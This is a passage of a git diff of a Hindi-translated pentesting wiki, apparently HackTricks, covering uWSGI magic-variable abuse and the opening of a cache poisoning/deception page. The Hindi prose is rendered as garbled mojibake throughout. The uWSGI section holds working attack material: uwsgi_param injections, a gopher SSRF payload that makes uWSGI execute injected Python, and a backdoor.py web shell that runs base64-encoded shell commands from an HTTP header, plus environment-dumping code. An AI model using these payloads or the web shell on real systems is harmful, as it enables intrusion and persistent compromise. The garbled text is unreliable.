рдореЗрдВ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред file upload рдпрд╛ write capabilities рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрди рдореЗрдВ, рдЗрд╕рд╕реЗ RCE рд╣реЛ рд╕рдХрддрд╛ рд╣реИред + +#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - рдбрд╛рдпрдирд╛рдорд┐рдХ рдореЙрдбреНрдпреВрд▓ рд▓реЛрдбрд┐рдВрдЧ +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +рдпреЗ рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ arbitrary Python modules рд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдЙрдирдХреЗ рднреАрддрд░ specific functions рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред + +#### `UWSGI_SETENV` - Environment Variable Manipulation +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +environment variables рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ malicious configuration рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +#### `UWSGI_PYHOME` - Python Environment рдореЗрдВ рд╣реЗрд░рдлреЗрд░ +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +Python virtual environment рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╡рддрдГ malicious packages рдпрд╛ рдЕрд▓рдЧ Python interpreters рд▓реЛрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред + +#### `UWSGI_CHDIR` - Directory Traversal +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +рдпрд╣ requests рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ working directory рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ path traversal attacks рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + +## SSRF + Gopher to + +### рдЖрдХреНрд░рдордг рд╡реЗрдХреНрдЯрд░ + +рдЬрдм uWSGI SSRF (Server-Side Request Forgery) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИ, рддреЛ attackers internal uWSGI socket рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдХреЗ magic variables рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЦрддрд░рдирд╛рдХ рд╣реЛрддрд╛ рд╣реИ рдЬрдм: + +1. рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ SSRF рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реЛрдВ +2. uWSGI рдПрдХ рдЖрдВрддрд░рд┐рдХ рдкреЛрд░реНрдЯ/рд╕реЙрдХреЗрдЯ рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реЛ +3. рдПрдкреНрд▓рд┐рдХреЗрд╢рди magic variables рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реЛ + +uWSGI SSRF рдХреЗ рдХрд╛рд░рдг рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ config file `uwsgi.ini` рдореЗрдВ рдпрд╣ рдореМрдЬреВрдж рд╣реИ: `socket = 127.0.0.1:5000` рдЬреЛ рдЗрд╕реЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред + +### рд╢реЛрд╖рдг рдХрд╛ рдЙрджрд╛рд╣рд░рдг + +#### рдЪрд░рдг 1: Malicious Payload рдмрдирд╛рдПрдБ +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, Python code рдХреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ (рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдирд╛, рдлрд╝рд╛рдЗрд▓ рдХрд╛ extension рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` +#### рдЪрд░рдг 2: uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░реЗрдВ +Gopher рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ raw uWSGI packets рднреЗрдЬреЗрдВ: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` +рдпрд╣ payload: +- uWSGI рдХреЗ port 5000 рдкрд░ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ +- `UWSGI_FILE` рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ +- uWSGI рдХреЛ Python code рдХреЛ рд▓реЛрдб рдФрд░ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ + +### uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд░рдЪрдирд╛ + +uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдПрдХ рдмрд╛рдЗрдирд░реА рдлрд╝реЙрд░реНрдореЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ: +- Variables рдХреЛ length-prefixed strings рдХреЗ рд░реВрдк рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ +- рдкреНрд░рддреНрдпреЗрдХ variable рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ: `[name_length][name][value_length][value]` +- рдкреИрдХреЗрдЯ рдПрдХ header рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдХреБрд▓ рдЖрдХрд╛рд░ (total size) рд░рдЦрддрд╛ рд╣реИ + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### File-based Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): +cmd = environ.get('HTTP_X_CMD', '') +if cmd: +result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) +response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" +else: +response = "Backdoor active" + +start_response('200 OK', [('Content-Type', 'text/plain')]) +return [response.encode()] +``` +рдлрд┐рд░ рдЗрд╕ backdoor рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `UWSGI_FILE` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` +#### рдкрд░реНрдпрд╛рд╡рд░рдг-рдЖрдзрд╛рд░рд┐рдд Persistence +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` +### 2. рд╕реВрдЪрдирд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг + +#### Environment Variable Dumping +```python +# env_dump.py +import os +import json + +def application(environ, start_response): +env_data = { +'os_environ': dict(os.environ), +'wsgi_environ': dict(environ) +} + +start_response('200 OK', [('Content-Type', 'application/json')]) +return [json.dumps(env_data, indent=2).encode()] +``` +#### рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдПрдХреНрд╕реЗрд╕ +рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП `UWSGI_CHDIR` рдХреЛ file serving рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` +### 3. Privilege Escalation + +#### Socket Manipulation +рдпрджрд┐ uWSGI elevated privileges рдХреЗ рд╕рд╛рде рдЪрд▓рддрд╛ рд╣реИ, рддреЛ attackers socket permissions рдХреЛ manipulate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` +#### рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдУрд╡рд░рд░рд╛рдЗрдб +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` +## рд╕рдВрджрд░реНрдн + +- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) +- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 9d8a5e1c9..d1a8af21f 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -4,72 +4,73 @@ ## рдЕрдВрддрд░ -> **web cache poisoning рдФрд░ web cache deception рдореЗрдВ рдХреНрдпрд╛ рдлрд░реНрдХ рд╣реИ?** +> **web cache poisoning рдФрд░ web cache deception рдореЗрдВ рдХреНрдпрд╛ рдЕрдВрддрд░ рд╣реИ?** > -> - In **web cache poisoning**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреБрдЫ рджреБрд░реНрд╡реНрдпрд╡рд╣рд╛рд░рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╡рд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рд░реНрд╡ рдХреА рдЬрд╛рддреА рд╣реИред -> - In **web cache deception**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╡рд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рд╡рд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИред +> - In **web cache poisoning**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреБрдЫ рджреБрд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕реА рдЬрд╛рддреА рд╣реИред +> - In **web cache deception**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ cache рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИред ## Cache Poisoning -Cache poisoning рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп client-side cache рдХреЛ рдЗрд╕ рддрд░рд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдирдкреЗрдХреНрд╖рд┐рдд, рдЖрдВрд╢рд┐рдХ рдпрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реА resources рд▓реЛрдб рдХрд░ рд▓реЗрдВред рдкреНрд░рднрд╛рд╡ рдХрд╛ рджрд╛рдпрд░рд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд response рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рд░реНрд╡ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ cache рдкреНрд░рджреВрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЙрд╕ рдкреЗрдЬ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВред +Cache poisoning рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп client-side cache рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдмрджрд▓рдирд╛ рд╣реИ рдХрд┐ clients рдРрд╕реЗ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреЛ рдордЬрдмреВрд░ рд╣реЛрдВ рдЬреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд, рдЖрдВрд╢рд┐рдХ, рдпрд╛ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрдВред рдкреНрд░рднрд╛рд╡ рдХреА рд╕реАрдорд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд response рдХреЗрд╡рд▓ рдЙрд╕ рдЕрд╡рдзрд┐ рдореЗрдВ рдЙрд╕ рдкреЗрдЬ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм cache рджреВрд╖рд┐рдд рд╣реИред -Cache poisoning рд╣рдорд▓рд╛ рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +Cache poisoning рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдореЗрдВ рдХрдИ рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ: -1. **Identification of Unkeyed Inputs**: рдРрд╕реЗ parameters рдЬреЛ request рдХреЗ cached рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрддреЗ рдкрд░ server рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдИ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди inputs рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЬрд░реВрд░реА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ cache рдХреЛ manipulate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди parameters рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ server рдХреА response рдХреЛ рдХрд┐рд╕ рддрд░рд╣ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рд╛рдн рд╣реЛред -3. **Ensuring the Poisoned Response is Cached**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдмрджрд▓реА рд╣реБрдИ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рдЬрд╛рдПред рдЗрд╕ рддрд░рд╣, рдЬрдм рднреА рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ рдЬрдмрдХрд┐ cache poisoned рд╣реИ, рдЙрд╕реЗ рджреВрд╖рд┐рдд response рдорд┐рд▓ рдЬрд╛рдПрдЧреАред +1. **Unkeyed Inputs рдХреА рдкрд╣рдЪрд╛рди**: рдпреЗ рдРрд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬреЛ рднрд▓реЗ рд╣реА рдХрд┐рд╕реА request рдХреЛ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рди рд╣реЛрдВ, рдкрд░ server рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдП рдЧрдП response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди inputs рдХреА рдкрд╣рдЪрд╛рди рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ cache рдХреЛ рдореИрдиреАрдкреБрд▓реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реНрдкреНрд▓реЙрдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +2. **Unkeyed Inputs рдХрд╛ рд╢реЛрд╖рдг**: Unkeyed inputs рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ server рдХреЗ response рдХреЛ рдХрд┐рд╕ рддрд░рд╣ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╣рд┐рдд рдореЗрдВ рд╣реЛред +3. **рд╕реБрдирд┐рд╢реНрдЪрдд рдХрд░рдирд╛ рдХрд┐ Poisoned Response cached рд╣реЛ**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдмрджрд▓рд╛ рдЧрдпрд╛ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рдЬрд╛рдПред рдЗрд╕ рддрд░рд╣, cache рджреВрд╖рд┐рдд рд░рд╣рдиреЗ рдХреА рдЕрд╡рдзрд┐ рдореЗрдВ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреВрд╖рд┐рдд response рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред -### рдЦреЛрдЬ: HTTP headers рджреЗрдЦреЗрдВ +### рдЦреЛрдЬ: HTTP headers рдЬрд╛рдБрдЪреЗрдВ -рдЖрдо рддреМрд░ рдкрд░, рдЬрдм рдХреЛрдИ response cache рдореЗрдВ store рдХреА рдЬрд╛рддреА рд╣реИ рддреЛ рд╡рд╣рд╛рдБ рдПрдХ header рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреА рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИ; рдЖрдк рдЙрди headers рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдЖрдкрдХреЛ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +рдЖрдо рддреМрд░ рдкрд░, рдЬрдм рдХреЛрдИ response **cache рдореЗрдВ рд╕реНрдЯреЛрд░** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рд╡рд╣рд╛рдБ рдПрдХ рдРрд╕рд╛ **header рд╣реЛрдЧрд╛ рдЬреЛ рдЗрд╕реЗ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ**, рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рди headers рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### рдЦреЛрдЬ: Caching error codes +### рдЦреЛрдЬ: рдПрд░рд░ рдХреЛрдбреНрд╕ рдХрд╛ cache рд╣реЛрдирд╛ -рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдЦрд░рд╛рдм header рдХреЗ рд╕рд╛рде request рднреЗрдЬрдХрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **status code 400** рдХреЗ рд╕рд╛рде рд░рд┐рд╕реНрдкреЙрдиреНрдб рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЙрд╕реА request рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рджреЗрдЦреЗрдВ рдФрд░ рдпрджрд┐ response рдПрдХ 400 status code рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ vulnerable рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +рдЕрдЧрд░ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдЧрд▓рдд header рдХреЗ рд╕рд╛рде requests рднреЗрдЬрдХрд░** рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдирдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **status code 400** рдЖрдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЙрд╕ request рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рджреЗрдЦреЗрдВ тАФ рдЕрдЧрд░ **response 400 status code** рд╣реА рдЖрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рди рд▓реЗрдВрдЧреЗ рдХрд┐ рдпрд╣ vulnerable рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдБ рд╕реЗ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред + +You can find more options in: -рдЖрдк рдФрд░ рд╡рд┐рдХрд▓реНрдк рдпрд╣рд╛рдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -рд╣рд╛рд▓рд╛рдБрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХрднреА-рдХрднреА рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ status codes cache рдореЗрдВ рдирд╣реАрдВ рд░рдЦреЗ рдЬрд╛рддреЗ**, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЯреЗрд╕реНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред +рд╣рд╛рд▓рд╛рдБрдХрд┐ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХрднреА-рдХрднреА рдЗрди рддрд░рд╣ рдХреЗ status codes cache рдирд╣реАрдВ рд╣реЛрддреЗ**, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЯреЗрд╕реНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -### рдЦреЛрдЬ: Identify and evaluate unkeyed inputs +### рдЦреЛрдЬ: Unkeyed inputs рдХреА 